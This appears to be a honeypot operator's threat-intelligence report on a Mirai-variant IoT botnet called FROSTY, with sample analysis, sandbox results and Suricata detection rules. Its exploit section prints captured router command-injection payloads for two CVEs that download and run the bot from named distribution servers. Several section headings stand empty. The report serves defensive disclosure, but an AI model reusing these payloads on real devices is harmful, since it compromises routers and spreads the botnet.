FROSTY — Mirai-lineage IoT botnet

Executive summary

A pair of old router bugs is still doing new work. Since late May, our fleet has watched a Mirai-derived bot spread itself through two CVEs from 2015 and 2018 under a name we hadn't seen before, frosty.mips. When we finally got a copy running in our own sandbox, it dialed home 14 separate times, and on every run after the first, the operator's server stayed alive but silent, answering only bots it already trusted.

The botnet operator has deployed a dual-distribution infrastructure (two independent C2 servers both running Apache 2.4.6 on CentOS) with self-replication argument tracking, indicating a structured and mature operation. Both distributed binaries are confirmed Mirai variants by VirusTotal (42/63 engines for the primary sample as of this fact-check pass — detection counts rise over time as engines re-scan) and tria.ge behavioral analysis (score 10/10 for both samples, family tagged mirai). The actual command-and-control server, 103.106.228.23:80, is distinct from the distribution nodes and is connection-filtered, responding only to infected devices.

Threat actor profile

The "FROSTY" operator has not been attributed to a named threat actor. Based on observed tradecraft, the operation exhibits the following characteristics:

Infrastructure analysis

Distribution servers

Both distribution nodes run Apache 2.4.6 on CentOS, likely CentOS 7, which reached EOL in June 2024. Directory listing is explicitly disabled (403 Forbidden). The size difference between binaries (9 KB) suggests the two servers are running different build revisions, not identical copies.

Command and control server

Scanner infrastructure

Malware analysis

Binary samples

VirusTotal analysis (SHA2)

The Avast detection as ELF:Hajime-R is likely a false family classification due to structural similarities between Mirai and Hajime; the consensus across other engines naming Mirai directly is more reliable. The Linux/DDoS-CIA label (Sophos) refers to the DDoS component architecture, not a nation-state attribution. ALYac/VIPRE's label changed from Gen:Variant.Linux.Downloader.1 at first submission to Gen:Variant.Linux.Mirai.1 on re-scan — consistent with the same generic detection engine tightening its verdict, not a different finding.

Tria.ge behavioral analysis

The SHA1 sample uniquely triggers a signature for XOR-obfuscated strings, specifically a Mozilla/5.0 User-Agent string; the SHA2 sample instead uniquely triggers the System Network Configuration Discovery (T1016) signature — the two samples' behavioral fingerprints differ. Mirai variants commonly XOR-encrypt embedded strings (C2 IP, User-Agent, attack strings) with a single-byte key to evade static analysis, the deobfuscated string is used in HTTP flood attack payloads.

Sandbox detonation (cowrAI sandbox — MIPS)

The consistent ~4.3 KB PCAP across all detonation runs suggests a deterministic handshake exchange: the bot sends its registration packet; the C2 acknowledges receipt but issues no commands to sandbox/WARP-egress IPs. In a real infection, this would be followed by the bot sitting idle until the operator issues a DDoS command.

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payloads

CVE-2014-8361 — Realtek miniigd UPnP RCE

Exploits the NewInternalClient SOAP action in Realtek's miniigd UPnP daemon. The XML body injects a shell command via backtick expansion in the parameter value.

# Primary C2 (109.104.153.60)
`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`

# Backup C2 (86.54.82.179)
`cd /var; rm -rf zuki; wget http://86.54.82.179/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`

CVE-2017-17215 — Huawei HG532 SOAP RCE

Exploits the NewStatusURL action in Huawei HG532's TR-064 management interface. Uses busybox wget's -g (host) / -r (remote path) / -l (local path) flags.

# Primary C2
$(/bin/busybox wget -g 109.104.153.60 -l /tmp/.frosty.mips -r /bins/frosty.mips; \
  /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)

# Backup C2
$(/bin/busybox wget -g 86.54.82.179 -l /tmp/.frosty.mips -r /bins/frosty.mips; \
  /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)

Indicators of compromise

Network IOCs

File IOCs

Filesystem artifacts

CVE references

Mitigations and detection

For network defenders

Detection signatures

# Suricata/Snort — payload delivery
alert http any any -> any any (msg:"FROSTY Mirai payload download"; \
  content:"/bins/frosty.mips"; http_uri; \
  flow:established,to_server; sid:9910001; rev:1;)

# Suricata/Snort — Huawei HG532 exploit inbound
alert http any any -> $HOME_NET 7547 (msg:"FROSTY CVE-2017-17215 exploit attempt"; \
  content:"NewStatusURL"; http_client_body; \
  content:"frosty"; http_client_body; \
  flow:established,to_server; sid:9910002; rev:1;)

# Suricata — outbound C2 beacon
alert tcp $HOME_NET any -> 103.106.228.23 80 (msg:"FROSTY Mirai C2 beacon"; \
  flow:established,to_server; sid:9910003; rev:1;)

Related campaigns and attribution notes

The "frosty" binary name and campaign tradecraft do not match any named threat actor in public sources as of 2026-06-21. Relevant comparisons:

Collection methodology

All data in this report was collected organically by the cowrAI distributed SSH/Telnet honeypot fleet, deployed across multiple cloud providers and geographic regions. Fleet nodes also run alt-protocol lure daemons including soaplure (ports 7547, 37215, 52869) which captures Huawei and Realtek SOAP exploit attempts.

Payload URLs discovered via the fleet's automated pipeline were fetched within minutes of first observation. Binaries were detonated in an isolated MIPS sandbox with network egress routed through a residential-style VPN for realistic network conditions. Tria.ge behavioral analysis and VirusTotal lookups were performed via the fleet's own investigation tooling.

No interaction with victim networks occurred; all data was observed passively from honeypot sensor nodes.